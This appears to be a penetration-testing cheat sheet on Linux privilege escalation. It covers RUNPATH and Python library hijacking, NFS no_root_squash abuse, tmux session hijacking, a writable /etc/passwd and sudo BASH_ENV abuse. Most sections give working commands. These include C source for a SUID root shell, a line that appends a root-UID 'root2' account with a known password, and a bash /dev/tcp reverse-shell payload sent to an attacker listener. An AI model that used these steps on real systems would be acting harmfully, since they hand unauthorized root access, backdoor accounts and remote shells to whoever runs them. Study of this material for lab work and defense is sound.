# Miscellaneous Techniques ## **Shared Object Hijacking - Binary RUNPATH variable** A binary or program may use a custom library that can be enumerated by using one of the following commands: * `ldd /path/to/program-name` * `readelf -d /path/to/program-name | grep PATH` By checking the `RUNPATH` content, we can verify if a custom directory is being used.\ Custom libraries specified by the RUNPATH have higher priority compared to the other libraries, similarly. to LD\_PRELOAD\ In other terms, if the `RUNPATH` contains `/directoryname/customlibrary.so` we can hijack the shared library to elevate privileges To abuse the RUNPATH, the procedure is the *same as the `LD_PRELOAD` abuse*: * identify a function used by binary/program * write a malicious shared library containing a reverse shell payload inside a function with the same signature as the original one * substitute the original custom library file with the malicious one *** ## **Weak NFS Privileges to Privesc** * Any accessible mounts can be listed remotely by issuing the command `showmount -e target-ip` * When an NFS volume is created, various options can be set * To escalate privileges, we need to have the `no_root_squash` option * This option allows remote users connecting to the share as the local root user to create files on the NFS server as the root user.\This would allow for the creation of malicious scripts/programs with the SUID bit set. * Basically, you can use the attacker's machine root user to create files on the NFS server as the root user * To enumerate the exports on the machine hosting an NFS Share: `cat /etc/exports` * If `no_root_squash` is set we can create a `SETUID` binary that executes `/bin/sh` using our local root user. \ We can then mount the `/tmp` directory locally, copy the root-owned binary over to the NFS server, and set the SUID bit. **Exploitation steps:** 1. Suppose a target machine hosts a NFS Share. We can enumerate that by using `showmount -e target-ip` 2. Suppose we have local access to the target machine. We can check if the `no_root_squash` options is set for the previous share by using `cat /etc/exports` 3. Write the PoC script: ``` #include #include #include int main(void) { setuid(0); setgid(0); system("/bin/bash"); } ``` 4. Compile the script: `gcc shell.c -o shell` 5. Use the local root user to copy the file on the NFS share as root: * `sudo mount -t nfs 10.129.2.12:/tmp /mnt` * `cp shell /mnt` * `chmod u+s /mnt/shell` 6. Switching back to the target host's session, we can escalate privileges to root by executing the binary: `cd /tmp; ./shell` *** ## **TMUX Terminal Session Hijacking (Requires DEV group)** > * Terminal multiplexers such as `tmux` can be used to **allow multiple terminal sessions to be accessed within a single console session** > * When not working in a tmux window, we can `detach` from the session, still leaving it `active` > * We can gain a `root` terminal session if a user left a `tmux` process running as a privileged user > * To do that, we need to have access to a user in the `dev` group to create a new `shared tmux session` and modify its ownership **Exploitation steps:** 1. Create new shared sessions: `tmux -S /shareds new -s debugsess` 2. Change session owner: `chown root:devs /shareds` 3. Check for any ruynning tmux processes: `ps aux | grep tmux` 4. Attach the tmux session and get root privileges: `tmux -S /shareds` *** ## **Python Library Hijacking** > * There are many ways in which we can hijack a Python library. > * Much depends on the script and its contents itself. > * However, there are three basic vulnerabilities where hijacking can be used 1. **Wrong write permissions:** * Requirements: A python script with `SUID` privileges that makes use of any library (`import libraryname`) * The library file will be located at `/usr/local/lib/python3.8/dist-packages/libraryname` * After checking which library function is called inside the python code, we can edit the library file by injecting a payload such as `import os` `os.system('id')` * Executing the python script again will show the results of the `id` command, confirming root privileges 2. **Library Path:** * Requirements: write permissions in one of the folders shown by the PYTHONPATH variable (preferrably one of the folders first folders) * To enumerate the PYTHONPATH variable contents: `python3 -c 'import sys; print("\n".join(sys.path))'` * PoC: if we have write permissions inside one of the folders specified by the PYTHONPATH variable\ we can proceed in a similar manner as with the standard PATH environment variable abuse. * The basic idea is to write a file with the same name and signature as an imported library and inject a payload to run a shell 3. **PYTHONPATH environment variable:** * Requirements: permissions to edit the PYTHONPATH variable * To check that permission: `sudo -l` → Output: `SETENV: /usr/bin/python3` * PoC: edit the `PYTHONPATH` variable in the same way as a standard `PATH` environment variable privilege escalation *** ## Writeable passwd file Always check whether you have write permissions into the `/etc/passwd` file.\ If that's the case, you can effectively set an arbitrary password for any account. To check, use `ls -la /etc/passwd` Supposing you have write permissions, you can `generate a password hash` and use it to log as `root` as follows: 1. Generate the password hash:\ `openssl passwd w00t output: Fdzt.eqJQ4s0g` 2. Append the password hash inside the passwd file:\ `echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd` 3. Now you can login as root using `su root2` and inserting `w00t` as the user's password *** ## Preserved Environment Variables via sudo -l (env\_keep) Some sudo configurations allow preserving sensitive environment variables such as `BASH_ENV` through the `env_keep` directive. This works even if the sudo command is limited, because the altered environment affects how the command runs. {% hint style="success" %} The `BASH_ENV` variable instructs bash to source a custom configuration file on every non-interactive shell startup. If sudo preserves this variable, it is possible to escalate privileges using the binary specified by `sudo -l` {% endhint %} As an example, suppose you use `sudo -l` and notice the following:
You can leverage the `BASH_ENV` environment variable to escalate privileges, as it will be kept in the sudo user's shell environment due to the `env_keep` directive.\ To do that, run a netcat listener on your attacker machine and then, on the victim machine: ```bash example@hostname:~$ echo 'bash -i >& /dev/tcp// 0>&1' > /tmp/exploit example@hostname:~$ chmod +x /tmp/exploit example@hostname:~$ export BASH_ENV=/tmp/exploit example@hostname:~$ sudo /path/to/binary ```